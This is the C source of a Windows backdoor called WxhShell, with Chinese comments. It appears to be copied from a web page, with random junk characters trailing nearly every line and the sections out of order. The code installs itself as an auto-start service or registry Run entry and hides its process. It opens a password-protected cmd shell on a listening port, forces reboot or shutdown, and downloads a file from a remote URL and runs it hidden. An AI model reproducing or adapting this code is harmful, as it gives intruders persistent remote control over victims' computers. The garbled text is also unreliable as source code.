    if(Boot(SHUTDOWN)) $sBje*;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yZ57uz  
    else { lO5*n|Ic,  
    closesocket(wsh); D-4\AzIb  
    ExitThread(0); e8$OV4X  
    } D}7G|gX1  
    break; + hKH\]  
    } l?swW+ x\  
  // 获取shell oEnCe  
  case 's': { fDIKR[B  
    CmdShell(wsh); SoJ'y6  
    closesocket(wsh); )6,Pmq~)  
    ExitThread(0); Ncle8=8  
    break; C4/p5J  
  } 34Z$a{ w  
  // 退出 5W~-|8m  
  case 'x': { aO>Nev  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >KMTxHE`+  
    CloseIt(wsh); 0I \l_St@  
    break; TNK~ETE4  
    } o? {rPFR  
  // 离开 pxi/ ]6pw  
  case 'q': { kmfxk/F}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5Bog\mS  
    closesocket(wsh); r-k,4Yz  
    WSACleanup(); XH{P@2~l  
    exit(1); DqTp*hI  
    break; nPo YjQi  
        } E< Ini'od[  
  } &Eqa y'  
  } $7JWA9#N!  
@E@5/N6M  
  // 提示信息 j,i> 1|J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  {]=oOy1  
} #{oGmzG!  
  } GMRFZw_M  
RFq&#3f$  
  return; qGPIKu  
} 5/"&C-t  
cl3Dwrf?  
// shell模块句柄 -McDNM  
int CmdShell(SOCKET sock) 3a\.s9A "  
{ z Qhc V  
STARTUPINFO si; h`:f  
ZeroMemory(&si,sizeof(si)); qz2j55j   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FR9*WI   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U6Ws#e  
PROCESS_INFORMATION ProcessInfo; <>  |/U`  
char cmdline[]="cmd"; {u,yX@F4l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &H<n76G  
  return 0; T)"LuC#C  
} e[AwR?=  
xfJ&11fG2  
// 自身启动模式 Z>+Tzvfud  
int StartFromService(void) ra*(.<&  
{ ?3) IzzO  
typedef struct TB  
{ JK@" &  
  DWORD ExitStatus; <.qhW^>X  
  DWORD PebBaseAddress; voAen&>!  
  DWORD AffinityMask; s@c.nT%BYL  
  DWORD BasePriority; ); <Le6  
  ULONG UniqueProcessId; zBd)E21H  
  ULONG InheritedFromUniqueProcessId; _onEXrM  
}   PROCESS_BASIC_INFORMATION; >s+TD4OfY  
1}"PLq(  
PROCNTQSIP NtQueryInformationProcess; V)g{ Ew]:  
9?~K"+-SI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6V@?/B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?}g#Mc  
z'+k]N9Q^  
  HANDLE             hProcess; eED@Z/~6  
  PROCESS_BASIC_INFORMATION pbi; Kc[Y .CH  
'HdOW[3o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _YM]U`*  
  if(NULL == hInst ) return 0; ;YK{[$F  
>'GQB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;x=r.3OQy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }qhNz0*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ka$oUB)iQ  
"Yu';&  
  if (!NtQueryInformationProcess) return 0; lp=8RbQYC  
[hT|]|fJS;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o/Cu^[an  
  if(!hProcess) return 0; -WX{ y Ci  
?6[X=GeUs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Ap0" ?q  
sF=8E8qa   
  CloseHandle(hProcess); D+:}D*_&  
t/HUG#W{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %ymM#5A  
if(hProcess==NULL) return 0; NtnKS@Ht  
IhYTK%^96  
HMODULE hMod; oA1d8*i^E  
char procName[255]; N=X(G(  
unsigned long cbNeeded; 7Odw{pc  
J6VG j=/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?{Gf'Y}y&  
WKwU:im  
  CloseHandle(hProcess); %G%D[ i]  
$_P*Bk)  
if(strstr(procName,"services")) return 1; // 以服务启动 pd1V8PZSG  
#*|0WaC  
  return 0; // 注册表启动 KW~fW r8  
} vKvT7Zxc  
EFYyr f@  
// 主模块 2]f"(X4jp  
int StartWxhshell(LPSTR lpCmdLine) (.DX</f/4  
{ H!+T2<F9R  
  SOCKET wsl; x$'0}vnT  
BOOL val=TRUE; tbP ;iK'  
  int port=0; [qEd`8V (  
  struct sockaddr_in door; h5.>};"@ '  
lN-[2vT<  
  if(wscfg.ws_autoins) Install(); !]-ET7  
X+*"FKm S.  
port=atoi(lpCmdLine); z&@Vg`w"  
w u  
if(port<=0) port=wscfg.ws_port; /`j~r;S  
WF.y"{6>  
  WSADATA data; {hLS,Me  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6*:mc  
\?9{H6<=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6UkX?I`>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sP+ZE>7  
  door.sin_family = AF_INET; FojsI<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); # [0>wEq  
  door.sin_port = htons(port); v^;%Fz_Dr  
8@f=GJf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X~Yj#@  
closesocket(wsl); pxs#OP  
return 1; > ,v,4,c  
} -X6[qLq  
dt efDsK  
  if(listen(wsl,2) == INVALID_SOCKET) { > $#v\8  
closesocket(wsl); _Zq2 <:  
return 1; NzP5s&,C69  
} 9mT;> mE  
  Wxhshell(wsl); =[ $zR>o*%  
  WSACleanup(); A+N%A] 2  
|Ir&C[QS{y  
return 0; )^C w  
U6pG  
} )ww#dJn  
h!"| Q"18  
// 以NT服务方式启动 T%\f$jh6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4l6+8/Y  
{ @AgV7#  
DWORD   status = 0; 7:h8b/9  
  DWORD   specificError = 0xfffffff; Ba9le|c5  
.-6B6IEI_"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >$.lM~k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b\U p(]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f0^DsP  
  serviceStatus.dwWin32ExitCode     = 0; iYyJq;S   
  serviceStatus.dwServiceSpecificExitCode = 0; BtZycI  
  serviceStatus.dwCheckPoint       = 0; 8u401ddg  
  serviceStatus.dwWaitHint       = 0; 0PK*ULwSN  
3r)<:4a u&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^_cR  
  if (hServiceStatusHandle==0) return; c%|18dV  
jNIZ!/K  
status = GetLastError(); tyH*epa nw  
  if (status!=NO_ERROR) {=Y.Z1E:  
{ B@Ae2_;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m 8Q[+_:$H  
    serviceStatus.dwCheckPoint       = 0; YXR%{GUP[  
    serviceStatus.dwWaitHint       = 0; j^g^=uau  
    serviceStatus.dwWin32ExitCode     = status; Z5vpo$l  
    serviceStatus.dwServiceSpecificExitCode = specificError; W* XG9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d +]Gw  
    return; 8mCL3F  
  } f/r@9\x  
(mOUbO8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >|Hd*pg))  
  serviceStatus.dwCheckPoint       = 0; Gj.u /l  
  serviceStatus.dwWaitHint       = 0; "uz}`G~O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZkyH<Aa  
} }538vFNi  
4mG?$kCN  
// 处理NT服务事件,比如:启动、停止 kc3dWWPe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0V5 RZ`.  
{ ?E@ 9Nvr  
switch(fdwControl) ,~!rn}MI<  
{ Sc<%$ Gd  
case SERVICE_CONTROL_STOP: llf|d'5Nl  
  serviceStatus.dwWin32ExitCode = 0; w2!5Cb2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v$O%U[e<  
  serviceStatus.dwCheckPoint   = 0; )1>fQ9   
  serviceStatus.dwWaitHint     = 0; tr]=q9  
  { YlZe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }NQ {S3JW  
  } LM*#DLadk  
  return; _VeZ lk7 k  
case SERVICE_CONTROL_PAUSE: Kw%n;GFl'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hw1<! Dyv  
  break; u |h T1l  
case SERVICE_CONTROL_CONTINUE: ^_5Nh^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .,C8ASfh  
  break; }}";)}C`  
case SERVICE_CONTROL_INTERROGATE: PKT/U^2X]  
  break; 24TQl<H{  
};  $)5F3 a|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L{hP&8$k  
} K% ) K$/A  
_?M71>3$.  
// 标准应用程序主函数 s uT#k3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?#8s=t  
{ (f^K\7HM  
I e#LZti  
// 获取操作系统版本 W2F %E  
OsIsNt=GetOsVer(); :EISms  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `&.]>H)N*  
AeqxH1%  
  // 从命令行安装 Z/-!-  
  if(strpbrk(lpCmdLine,"iI")) Install(); pU4 B6KTW  
je^!W?U4<  
  // 下载执行文件 k{/2vV[`]  
if(wscfg.ws_downexe) { {xm^DT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +gG6(7&+=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mh04O@"  
} &></l| hY  
!$&3h-l[  
if(!OsIsNt) { n\Z& sc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]%yph3C  
HideProc(); FbMX?T"yH  
StartWxhshell(lpCmdLine); dF$Fd{\4^  
} a *n^(  
else N7=L^]  
  if(StartFromService()) By|y:  
  // 以服务方式启动 c=U1/=R5  
  StartServiceCtrlDispatcher(DispatchTable); 1M|DaAI  
else 4s?x 8oAy  
  // 普通方式启动 -r9G5Z!|n  
  StartWxhshell(lpCmdLine); O.n pi: a  
F2 /-Wk@  
return 0; Rc2|o.'y  
} 'CqWF"  
RCED K\*m  
L:HJ:  
U"} ml  
=========================================== 2;@#i*\Y  
7-nz'-'  
7l"N%e  
Zh?1+Sz&  
. Q3GA0O  
<lHelX=/  
" V9:h4]  
DP=4<ES%+  
#include <stdio.h> nRpZ;X)'.  
#include <string.h> D2$"!7O1H  
#include <windows.h> 'Ldlo+*|5  
#include <winsock2.h> 8~QEJW$  
#include <winsvc.h> #P,mZ}G\  
#include <urlmon.h> *R17 KMS  
IS; F9{  
#pragma comment (lib, "Ws2_32.lib") [KIK}:  
#pragma comment (lib, "urlmon.lib") -G<$wh9~3  
Pdc- 3  
#define MAX_USER   100 // 最大客户端连接数 p?OwcMT]M  
#define BUF_SOCK   200 // sock buffer nwlo,[  
#define KEY_BUFF   255 // 输入 buffer Y[=Gv6Fr  
S/j~1q_|G  
#define REBOOT     0   // 重启 8U8l 5r  
#define SHUTDOWN   1   // 关机 |];s[^$#  
$9v:(:!Bm  
#define DEF_PORT   5000 // 监听端口 y6|&bJ @  
T<*i($ [  
#define REG_LEN     16   // 注册表键长度 ~Uw **PT3M  
#define SVC_LEN     80   // NT服务名长度 (>*<<a22  
JO:40V?op  
// 从dll定义API k^3|A3A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `3!ERQU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 38IVSK_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #t /.fd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {K-]nh/  
9Ny{2m=Ye  
// wxhshell配置信息 \~4uEk"]  
struct WSCFG { =/@c9QaV B  
  int ws_port;         // 监听端口 IxwOzpr  
  char ws_passstr[REG_LEN]; // 口令 jq{rNxdGx  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,^ MA,"8  
  char ws_regname[REG_LEN]; // 注册表键名 gd>Op  
  char ws_svcname[REG_LEN]; // 服务名 |r"1 &ow5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7<V(lX.{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ic 4>kKh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zfyr& ]"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {s}@$rW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wy5vn?T@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s8T} ah!  
OHeVm-VC  
}; * iW>i^  
k~WX6rEJ  
// default Wxhshell configuration AY['!&T  
struct WSCFG wscfg={DEF_PORT, "(/ 1]EH`  
    "xuhuanlingzhe", (,eH*/~/  
    1, 6 flc  
    "Wxhshell", \HFeEEKH  
    "Wxhshell", g+gHIb7{  
            "WxhShell Service", f/G YDat  
    "Wrsky Windows CmdShell Service", ;+XiDEX0}  
    "Please Input Your Password: ", :_YpS w<Q  
  1, *h Ph01  
  "http://www.wrsky.com/wxhshell.exe", &) 7umdSgi  
  "Wxhshell.exe" mc_`:I=  
    }; wXf_2qB9  
is`Eqcj`dr  
// 消息定义模块 iQpKcBx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CMa~BOt#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E 5PefD\m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L- [<C/`;t  
char *msg_ws_ext="\n\rExit."; ^y"Rdv  
char *msg_ws_end="\n\rQuit."; }YHoWYR  
char *msg_ws_boot="\n\rReboot..."; _|.q?;C]$  
char *msg_ws_poff="\n\rShutdown..."; >IO}}USm  
char *msg_ws_down="\n\rSave to "; g:MpN^l  
ot P7;l  
char *msg_ws_err="\n\rErr!"; E!J;bX5  
char *msg_ws_ok="\n\rOK!"; 4J*%$Vxv  
5-O[(b2O  
char ExeFile[MAX_PATH]; GkjTE2I3  
int nUser = 0; -p =b5L  
HANDLE handles[MAX_USER]; UahFs  
int OsIsNt; {q%&~  
QSf{V(fs  
SERVICE_STATUS       serviceStatus; az3rK4g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \M M(w&  
;3NA,JA#Y  
// 函数声明 )|f!}( p  
int Install(void); rk W*C'2fz  
int Uninstall(void); -?n|kSHX  
int DownloadFile(char *sURL, SOCKET wsh); V}ZF\SG(K  
int Boot(int flag); DWDL|4 og  
void HideProc(void); rJK3;d?E  
int GetOsVer(void); A][\L[8X  
int Wxhshell(SOCKET wsl); jJ86Ch  
void TalkWithClient(void *cs); !=>pI/ECQ*  
int CmdShell(SOCKET sock); 31-%IkX+k  
int StartFromService(void);  lTsl=  
int StartWxhshell(LPSTR lpCmdLine); Qy |*[  
j E_a ++  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O$+J{@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;cIs$  
;Ad$Q9)EE  
// 数据结构和表定义 bJ~]nj 3  
SERVICE_TABLE_ENTRY DispatchTable[] = /m%Y.:g  
{ 1cWUPVQ  
{wscfg.ws_svcname, NTServiceMain}, jLc4D'  
{NULL, NULL} hh`7b,+ 4  
}; ?fcQd6-}  
5'gV_U  
// 自我安装 4' bup h1(  
int Install(void) \M1-  
{ 0}jB/Z_T  
  char svExeFile[MAX_PATH]; DWZ!B7Ts  
  HKEY key; H `Fe |6I&  
  strcpy(svExeFile,ExeFile); 9r% O  
Ak[}s|,)  
// 如果是win9x系统,修改注册表设为自启动 =rcqYPul0  
if(!OsIsNt) { O#fGHI<43[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X2!vC!4P?L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Q =H)\3  
  RegCloseKey(key); # (B <n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GQO}E@W6C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .0;Z:x_3  
  RegCloseKey(key); ~=i9]%g ?  
  return 0; ~7T]l1]W%  
    } U#R=y:O?  
  } W #E-vi+l  
} Hj"`z6@7  
else { _c?&G`  
g|8G!7O  
// 如果是NT以上系统,安装为系统服务 jV`xRjh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HYf&0LT<11  
if (schSCManager!=0) 0t ?:  
{ ax&,  
  SC_HANDLE schService = CreateService $5T3JOFz  
  ( _!kL7qJ"  
  schSCManager, !_)*L+7f_  
  wscfg.ws_svcname, n#,|C`2r  
  wscfg.ws_svcdisp, 1foy.3g-  
  SERVICE_ALL_ACCESS, .<j\"X(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x\!Q[  
  SERVICE_AUTO_START, lO>w|=<  
  SERVICE_ERROR_NORMAL, -kT *gIJ}  
  svExeFile, j-@3jFu  
  NULL, fEF1&&8^  
  NULL, j u`x   
  NULL, x;2tmof=L  
  NULL, i/`N~r   
  NULL 4~=/CaG~  
  ); Q)S0z2  
  if (schService!=0) $+qJ#0OE$  
  { 0q(}nv  
  CloseServiceHandle(schService); EOWLGleD1  
  CloseServiceHandle(schSCManager); p me5frM|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'v iF8?_  
  strcat(svExeFile,wscfg.ws_svcname); k\X1`D}R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sui3(wb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q"4{GCavN  
  RegCloseKey(key); OD 09XO  
  return 0; < I[ Vv'x  
    } p =_K P9  
  } ;HRIB)wF  
  CloseServiceHandle(schSCManager); `8xt!8Z$  
} S*<+vIo  
} 7<['4*u  
1*<m,.$  
return 1; jh \L)a*  
} XOK.E&eilj  
Q[J%  
// 自我卸载 F[mL_JU  
int Uninstall(void) S,,,D+4  
{ uuW._$.A>  
  HKEY key; `+cc{k  
0w}OE8uq  
if(!OsIsNt) { ]wCg'EUB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]N2(eM  
  RegDeleteValue(key,wscfg.ws_regname); kKwb)i  
  RegCloseKey(key); /iFtW#K+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8TIc;'bRM  
  RegDeleteValue(key,wscfg.ws_regname); V uZd  
  RegCloseKey(key); (;-< @~2  
  return 0; 2.6%?E]  
  } H$Om{r1j  
} gSS2)Sd}  
} 'B0= "7  
else { 6?u9hi  
~ {OBRC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W Z`u"t^2V  
if (schSCManager!=0) L5 ~wX  
{ Kt5;GUV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QyN<o{\FD!  
  if (schService!=0) <Uf?7  
  { ]p C/6'  
  if(DeleteService(schService)!=0) { W=j  
  CloseServiceHandle(schService); H.#<&5f  
  CloseServiceHandle(schSCManager);  >sk vg  
  return 0; |c,,*^  
  }  uaN0X"  
  CloseServiceHandle(schService); iX,| ;J|]  
  } v.Wkz9 w}  
  CloseServiceHandle(schSCManager); seO7/h_a  
} GqB]^snh  
} R+Q..9 P  
>.^/Z/[.L  
return 1; I[u%k ir  
} $2N)m:X0  
uh#"4-v  
// 从指定url下载文件 }: v&Nc  
int DownloadFile(char *sURL, SOCKET wsh) CYD&#+o  
{ 8wJfG Y  
  HRESULT hr; ;G!JKg  
char seps[]= "/"; ]Q-*xho  
char *token; CtiTXDc_  
char *file; $<&N#  
char myURL[MAX_PATH]; <2Q+? L{  
char myFILE[MAX_PATH]; iOk^RDG+  
;#a^M*e  
strcpy(myURL,sURL); 0~2~^A#]\  
  token=strtok(myURL,seps); (Q~ p"Ch  
  while(token!=NULL) 8{QN$Qkn  
  { |/rms`YQ  
    file=token; )xKZ)SxV  
  token=strtok(NULL,seps); }U-h^x'  
  } Z_^i2eJYT  
K]5@bm  
GetCurrentDirectory(MAX_PATH,myFILE); ;la sk4|  
strcat(myFILE, "\\"); .dqV fa  
strcat(myFILE, file); mOm_a9M L  
  send(wsh,myFILE,strlen(myFILE),0); ro:B[XE  
send(wsh,"...",3,0); M@\A_x(Mas  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j?a^fcXB  
  if(hr==S_OK) x,)|;HXm  
return 0; )nncCU W  
else Rs*]I\  
return 1; 4#jW}4C{  
aPD4S&"Q  
} O2z{>\  
z^;0{q,  
// 系统电源模块 }.bhsy  
int Boot(int flag) h0i/ v  
{ 1?k{jt~  
  HANDLE hToken; PL*Mz(&bf  
  TOKEN_PRIVILEGES tkp; tCZ3n  
E8$k}I  
  if(OsIsNt) { j0^%1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &z'N Q !uV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LHit9O[_/s  
    tkp.PrivilegeCount = 1; &d1|B`gL|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OUoN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y;oPg4  
if(flag==REBOOT) { :zN{>,sC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >iE/t$%1  
  return 0; T["(wPrt  
} K ?R* )_  
else { ep|>z#1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v[-.]b*5A$  
  return 0; v D"4aw  
} RRXnj#<g  
  } \9r1JP0  
  else { QYl Pr&O9  
if(flag==REBOOT) { 2VB|a;Mo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^g^R[8  
  return 0; dY|~"6d)  
} HP/f`8  
else { 'IVNqfC)u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u`K)dH,  
  return 0; "}"hQ.kAz  
} [w>T.b  
} ] yg3|C;  
OPi><8x  
return 1; 2L\}  
} Nu}x`Qkmr  
g7Xjo )  
// win9x进程隐藏模块 DcjF $E  
void HideProc(void) |AgdD  
{ TU-aL  
. #+N?D<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yH YqJ|t  
  if ( hKernel != NULL ) F?APDGAN  
  { ..Q$q2.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )1E[CIaXK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \W%Aeg*c  
    FreeLibrary(hKernel); l:' 0  
  } ,q[aV 6kO  
 (TKn'2  
return; d'bAM{R>  
} 0O@UT1 M;v  
f}1B-  
// 获取操作系统版本 h mijp1u  
int GetOsVer(void) cD&QN9  
{ B4uJT~,7>  
  OSVERSIONINFO winfo; NFYo@kX> G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E;I'b:U`  
  GetVersionEx(&winfo); k4@$vxy0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yaDK_fk  
  return 1; kK62yz,  
  else <in#_Of {E  
  return 0; G0e]PMeFl  
} 06)B<  
q4Rvr[  
// 客户端句柄模块 n:TWZ.9  
int Wxhshell(SOCKET wsl) r2t|,%%N7  
{ )Id.yv}_  
  SOCKET wsh; QYS 1.k  
  struct sockaddr_in client; E2hy%y9Tp  
  DWORD myID; NA=I7I@  
!PAuMj)P  
  while(nUser<MAX_USER) Ah_,5Z@&R  
{ u*W6fg/"  
  int nSize=sizeof(client); /Soc,PjZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }3%L3v&  
  if(wsh==INVALID_SOCKET) return 1; ^0x0 rY  
%$'YP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {Yt@H  
if(handles[nUser]==0) 0`=>/Wr39  
  closesocket(wsh); &1Zq C;  
else /V>q(Q  
  nUser++; Xyz w.%4c  
  } e-@.+ f2CC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sWG_MEbu  
W`vgH/lSnZ  
  return 0; f3[/zcm;  
} -g5o+RT@  
xE{PsN1 X;  
// 关闭 socket per$%;5E"  
void CloseIt(SOCKET wsh) *_qLLJg  
{ c] '-:=  
closesocket(wsh); 2oO&8:`tv  
nUser--; @Yu=65h  
ExitThread(0); >GV(\In  
} )qq5WShMJ  
mFGiysM  
// 客户端请求句柄 DI>SW%)>  
void TalkWithClient(void *cs) d?9b6k?  
{ /Wx({N'h$  
N(7UlS,u'  
  SOCKET wsh=(SOCKET)cs; BQOit.  
  char pwd[SVC_LEN]; ,NA _pvH)  
  char cmd[KEY_BUFF]; Z)Zc9SVC  
char chr[1];  K}OY!|  
int i,j; ` !um )4  
i 6DcLE  
  while (nUser < MAX_USER) { _ Vo35kA  
g)L?C'BG  
if(wscfg.ws_passstr) { #Yd 'Vve  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bJWPr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L-,C5^  
  //ZeroMemory(pwd,KEY_BUFF); }Dc7'GZ  
      i=0; fzk^QrB  
  while(i<SVC_LEN) { Zf,9 k".'C  
3$~oQC  
  // 设置超时 2jT2~D.U1  
  fd_set FdRead; ?as1^~  
  struct timeval TimeOut; U3-cH  
  FD_ZERO(&FdRead); CGp7 Tx#  
  FD_SET(wsh,&FdRead); )%(V.?eW  
  TimeOut.tv_sec=8; Q7{/ T0  
  TimeOut.tv_usec=0; 7_ G$&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mne?r3d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #X`qkW.T<  
-Uj3?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )8_ x  
  pwd=chr[0]; Q)s`~G({P  
  if(chr[0]==0xd || chr[0]==0xa) { BYKONZu  
  pwd=0; JNx;/6'd,  
  break; 3~ptD5@WF  
  } nf2[hx@=U  
  i++; $xK*TJ(k  
    } |jhu  
m\DI6O"u'  
  // 如果是非法用户,关闭 socket \Ctl(uj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vx#n0z  
} UVUoXv)N  
,ozgnhZY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jqJ't)N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u$MXO].Q  
4\pUA4  
while(1) { Tw]].|^f-  
n#dvBK0M  
  ZeroMemory(cmd,KEY_BUFF); t/KH`  
ETMF.-P  
      // 自动支持客户端 telnet标准   "oLY";0(=  
  j=0; AEw~LF2w  
  while(j<KEY_BUFF) { T4e-QEH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IwZe2$f  
  cmd[j]=chr[0]; $:u5XJx  
  if(chr[0]==0xa || chr[0]==0xd) { +#LD@)G  
  cmd[j]=0; Q|] 9  
  break; mh :eUFe  
  } Fu$JI8  
  j++; huTWoMU  
    } n]< >$  
ibqJ'@{=e  
  // 下载文件 1$toowb"Zy  
  if(strstr(cmd,"http://")) { :H8`z8=0f{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )r`F}_CEL  
  if(DownloadFile(cmd,wsh)) 8w\ZY>d   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {+N7o7  
  else y yqya[-11  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NN"!kuM  
  } XR@C^d  
  else { Wu|ANc  
6b7SA ,  
    switch(cmd[0]) { KwxO%/-}S  
  AD0pmD  
  // 帮助 (d ?sFwOt\  
  case '?': { |<Rf^"T  
